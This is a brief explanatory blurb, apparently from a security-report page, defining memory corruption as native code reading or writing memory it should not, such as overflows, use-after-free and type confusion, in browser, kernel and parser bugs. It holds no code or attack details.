Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.